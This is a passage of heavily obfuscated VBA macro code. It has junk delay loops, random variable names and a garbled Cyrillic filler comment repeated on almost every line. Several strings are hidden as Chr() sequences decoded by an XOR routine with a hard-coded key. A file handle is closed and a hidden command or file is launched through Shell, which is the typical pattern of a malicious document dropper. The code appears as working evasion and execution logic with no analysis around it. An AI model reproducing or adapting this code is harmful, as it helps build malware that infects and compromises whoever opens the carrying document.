DoEvents: lFTXOPwC = lFTXOPwC + 1
Loop

UPFQThWM = LTrim(lMOibEOs)

Dim sIEryDjz As Integer
sIEryDjz = 6
Do While sIEryDjz < 91
DoEvents: sIEryDjz = sIEryDjz + 1
Loop

pXeTgDRf = RTrim(UPFQThWM)


Dim PLpTlZdk As Integer
PLpTlZdk = 1
Do While PLpTlZdk < 42
DoEvents: PLpTlZdk = PLpTlZdk + 1
Loop

    Close #RFNEUWUEEXR
Dim VXlcENAM As Integer
For VXlcENAM = 0 To 2
Dim hUToHHdq, floWFKKO, bvWVjTXM As String

Dim mIreTXLg As Integer
mIreTXLg = 5
Do While mIreTXLg < 86
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: mIreTXLg = mIreTXLg + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
hUToHHdq = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(108) & Chr(98) & Chr(52) & Chr(49) & Chr(122) & Chr(48) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim bNuFMKHj As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
bNuFMKHj = 9
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While bNuFMKHj < 62
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: bNuFMKHj = bNuFMKHj + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
floWFKKO = LTrim(hUToHHdq)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim ThfdLUiu As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
ThfdLUiu = 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While ThfdLUiu < 13
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: ThfdLUiu = ThfdLUiu + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
bvWVjTXM = RTrim(floWFKKO)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim beKMOzlt As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
beKMOzlt = 8
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While beKMOzlt < 99
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: beKMOzlt = beKMOzlt + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Next VXlcENAM
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim guSlsKeu, puCTYCni, yiuJazVo As String
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim ByrzLTme As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
ByrzLTme = 4
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While ByrzLTme < 46
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: ByrzLTme = ByrzLTme + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
guSlsKeu = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(115) & Chr(114) & Chr(49) & Chr(48) & Chr(99) & Chr(59) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim YsEeduFX As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
YsEeduFX = 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While YsEeduFX < 46
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: YsEeduFX = YsEeduFX + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
puCTYCni = LTrim(guSlsKeu)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim nXlHxhuf As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
nXlHxhuf = 9
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While nXlHxhuf < 61
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: nXlHxhuf = nXlHxhuf + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
yiuJazVo = RTrim(puCTYCni)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim NNnlGNQv As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
NNnlGNQv = 4
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While NNnlGNQv < 12
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: NNnlGNQv = NNnlGNQv + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
    
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
    Dim MGGYGEBGQCW
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim VJSVuavo As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
For VJSVuavo = 0 To 2
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim bdrJnRqs, tiQsDBzr, VvZCEyjU As String
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim aMzhAfcI As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
aMzhAfcI = 2
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While aMzhAfcI < 58
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: aMzhAfcI = aMzhAfcI + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
bdrJnRqs = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(116) & Chr(123) & Chr(45) & Chr(47) & Chr(124) & Chr(61) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim UpOSuPlf As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
UpOSuPlf = 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While UpOSuPlf < 73
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: UpOSuPlf = UpOSuPlf + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
tiQsDBzr = LTrim(bdrJnRqs)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim WUUXkIOT As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
WUUXkIOT = 3
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While WUUXkIOT < 46
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: WUUXkIOT = WUUXkIOT + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
VvZCEyjU = RTrim(tiQsDBzr)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim ItoSDKLW As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
ItoSDKLW = 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While ItoSDKLW < 21
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: ItoSDKLW = ItoSDKLW + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Next VJSVuavo
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim FXgPtndV, juERFVXk, TCOoLOiN As String
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim ZQkanaoZ As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
ZQkanaoZ = 9
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While ZQkanaoZ < 93
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: ZQkanaoZ = ZQkanaoZ + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
FXgPtndV = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(101) & Chr(109) & Chr(51) & Chr(46) & Chr(102) & Chr(48) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim PJkrfXBT As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
PJkrfXBT = 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While PJkrfXBT < 42
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: PJkrfXBT = PJkrfXBT + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
juERFVXk = LTrim(FXgPtndV)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim sOcRzYDI As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
sOcRzYDI = 6
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While sOcRzYDI < 38
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: sOcRzYDI = sOcRzYDI + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
TCOoLOiN = RTrim(juERFVXk)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim mIeqVEFN As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
mIeqVEFN = 8
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While mIeqVEFN < 58
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: mIeqVEFN = mIeqVEFN + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
    MGGYGEBGQCW = Shell(ZYVEABFRXSW, 1)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim SoDKUygl As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
For SoDKUygl = 0 To 9
